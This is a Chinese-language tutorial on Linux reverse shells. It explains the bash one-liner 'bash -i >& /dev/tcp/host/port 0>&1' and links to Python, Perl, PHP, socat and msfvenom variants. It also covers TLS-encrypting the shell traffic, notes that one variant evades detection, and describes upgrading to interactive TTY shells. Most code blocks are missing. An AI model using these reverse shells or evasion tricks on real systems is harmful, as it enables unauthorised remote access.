Reverse Shell 0 to 1

如何在 Linux 中优雅地搞定 Reverse Shell

了解 Reverse Shell

Bash

bash -i

https://www.gnu.org/software/bash/manual/bash.html#Interactive-Shells

重定向和文件描述符

Bash 反弹 shell 的基本原理是将 Bash 的 stdinstdoutstderr 文件描述符重定向到用于创建网络连接的 special filenames /dev/tcp/host/port

File descriptor 0 is duplicated.

File descriptor 1 is duplicated.

File descriptor 2 is duplicated.

bash -i >& /dev/tcp/host/port 0>&1 中包含两处 >& 符号,这两处作用并不相同。

第一处 >&:格式为 &>word 或者 >&word,等同于 >word 2>&1,将 stdoutstderr 重定向到 word。

https://www.gnu.org/software/bash/manual/bash.html#Redirecting-Standard-Output-and-Standard-Error

第二处 >&:格式为 [n]<&word 或者 [n]>&word,n 复制 word 的文件描述符。

https://www.gnu.org/software/bash/manual/bash.html#Duplicating-File-Descriptors

可以将 bash -i >& /dev/tcp/host/port 0>&1 分解为以下几部分:

在反弹 shell 主机中输入命令,输出在监听主机中显示,错误在反弹 shell 主机中显示。

在监听主机中输入命令,输出和错误在反弹 shell 主机中显示。

在反弹 shell 主机中输入命令,输出和错误在监听主机中显示。

在上一条的基础上,stdin 复制 stdout 的文件描述符。

结合以上几部分,形成一个完整的 Reverse Shell。

查看进程的文件描述符

在 SSH 连接中查看当前 shell 的文件描述符,输出如下:

在反弹 shell 中执行相同的命令,输出如下:

0、1、2 分别对应 stdinstdoutstderr

Bash 中的 /dev/tcp/host/port

官方文档

If host is a valid hostname or Internet address, and port is an integer port number or service name, Bash attempts to open the corresponding TCP socket.

If host is a valid hostname or Internet address, and port is an integer port number or service name, Bash attempts to open the corresponding UDP socket.

https://www.gnu.org/software/bash/

https://www.gnu.org/software/bash/manual/bash.html

https://ftp.gnu.org/gnu/bash/

redir.c
lib/sh/netopen.c

/dev/tcp/host/port 是 Bash 的特性而不是 Linux 的特性。

脚本语言

Python

查看环境中是否存在 Python:

pty
No Bash

参考自 Metasploit:https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/python/shell_reverse_tcp.rb

这种类型的 shell 从文件描述符和进程链的角度都比较难检测,但无法升级为交互式 shell。

Perl

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#perl

PHP

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php

socat

http://www.dest-unreach.org/socat/

http://www.dest-unreach.org/socat/doc/socat.html

静态链接的 socat:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

Reverse Shell 流量加密

通过 SSL/TLS 加密 Reverse Shell 流量:

OpenSSL

Ncat

https://nmap.org/ncat/

https://nmap.org/ncat/guide/index.html

stderr 不会输出到远程主机。

静态链接的 Ncat:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat

MsfVenom

Python SSL

参考自 Metasploit:https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb

和 Python No Bash 相同,无法升级为交互式 shell。

socat openssl

https://github.com/andrew-d/static-binaries 中的 socat 不包含 openssl 特性。

https://github.com/ernw/static-toolbox/releases/tag/socat-v1.7.4.1 这个项目中的 socat 静态链接且包含 openssl 特性。

https://insinuator.net/2018/02/creating-static-binaries-for-nmap-socat-and-other-tools/

tty 命令获取当前终端的 tty,写入这个文件的内容会输出到终端。

rawer 相当于命令 stty raw

echo=0 相当于命令 stty -echo,禁用本地回显,由于 socat 反弹的 shell 并没有本地回显,所以这部分不是必须的。

pty:创建伪终端。

Reverse Shell 的交互

Reverse Shell 与 SSH 登录的 shell 不同,其中的很多操作受限,原因在于 tty。

TTY

tty、pty 等相关概念可以参考以下几篇文章:

http://www.linusakesson.net/programming/tty/

https://www.cnblogs.com/liqiuhao/p/9031803.html

https://dev.to/napicella/linux-terminals-tty-pty-and-shell-192e

https://dev.to/napicella/linux-terminals-tty-pty-and-shell-part-2-2cb2

https://dev.to/dwgillies/comment/p49i

https://waynerv.com/posts/how-tty-system-works/

升级为 TTY Shell

通过前面的分析可以了解到,Reverse Shell 与交互式 shell 的区别在于 Reverse Shell 的 stdinstdoutstderr 被重定向到远程主机,而交互式 shell 的 stdinstdoutstderr 连接到本地的 tty,而会话管理、信号控制等功能都是在 tty 中实现的,因此在 Reverse Shell 中无法进行交互操作。

以上这些命令,会创建一个连接到本地 tty 的 shell,并将交互操作由 Reverse Shell 中转到远程主机。

SSH 登录主机:

进程链

tty

fd

反弹 shell 到远程主机:

进程链

tty

fd

升级到 TTY Shell:

进程链

bash(11658):SSH 登录

bash(12089):反弹 shell

bash(12099):TTY Shell

tty

fd

升级为完全交互式 Shell

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

https://www.youtube.com/watch?v=oI_ZhFCS3AQ#t=25m53s

https://web.archive.org/web/20220711155053/https://www.youtube.com/watch?v=oI_ZhFCS3AQ

pwncat

https://github.com/calebstewart/pwncat

https://pwncat.readthedocs.io/

pwncat 可以自动化获取完全交互式 Shell。

总结

参考

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

https://evilpan.com/2021/04/25/reverse-shell/

https://green-m.me/2019/11/06/encrypt-reverse-shell/

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/

https://www.alibabacloud.com/help/zh/security-center/latest/detect-reverse-shells-from-multiple-dimensions

https://www.cnblogs.com/LittleHann/p/12038070.html

https://xz.aliyun.com/t/6727